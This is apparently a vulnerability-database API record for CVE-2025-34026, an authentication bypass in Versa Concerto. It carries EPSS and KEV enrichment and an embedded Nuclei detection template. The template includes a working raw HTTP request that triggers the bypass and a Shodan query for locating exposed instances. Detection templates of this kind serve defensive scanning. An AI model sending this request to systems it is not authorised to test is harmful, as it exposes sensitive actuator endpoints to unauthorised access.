{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-34026/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-34026/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-34026/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-34026/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-34026/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-34026"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-34026"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.8194,
      "kev": true,
      "percentile": 0.99634
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2025/CVE-2025-34026.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2025-34026\n\ninfo:\n  name: Versa Concerto Actuator Endpoint - Authentication Bypass\n  author: iamnoooob,rootxharsh,parthmalhotra,pdresearch\n  severity: critical\n  description: |\n    An authentication bypass vulnerability affected the Spring Boot Actuator endpoints in Versa Concerto due to improper handling of the X-Real-Ip header.Attackers could access restricted endpoints by omitting this header.The issue allowed unauthorized access to sensitive functionality, highlighting the need for proper header validation.\n  impact: |\n    Attackers can bypass authentication by omitting the X-Real-Ip header to access restricted Spring Boot Actuator endpoints, potentially exposing sensitive system information and functionality.\n  remediation: |\n    Upgrade to the latest Versa Concerto version that properly validates authentication for all Actuator endpoints regardless of header presence.\n  reference:\n    - https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce/\n    - https://security-portal.versa-networks.com/emailbulletins/6830f94328defa375486ff2e\n    - https://www.cve.org/CVERecord?id=CVE-2025-34026\n  classification:\n    cve-id: CVE-2025-34026\n    cwe-id: CWE-288\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    epss-score: 0.8194\n    epss-percentile: 0.99634\n    cpe: cpe:2.3:a:versa-networks:concerto:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    vendor: versa-networks\n    product: concerto\n    max-request: 1\n    shodan-query: http.favicon.hash:-534530225\n  tags: versa,concerto,actuator,auth-bypass,springboot,cve,cve2025,vkev,vuln,kev\n\nhttp:\n  - raw:\n      - |\n        GET /portalapi/actuator HTTP/1.1\n        Host: {{Hostname}}\n        Connection: X-Real-Ip\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - heapdump\n\n      - type: word\n        part: header\n        words:\n          - EECP-CSRF-TOKEN\n# digest: 490a004630440220757db209699fba09dd706ce72a406adad614d939d0c58e823f1160c483afbf1d022076c769020b5635d41cc5aca5595b421fdcc90544c07231d5ae4531642cd8d5dd:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2025-34026"
}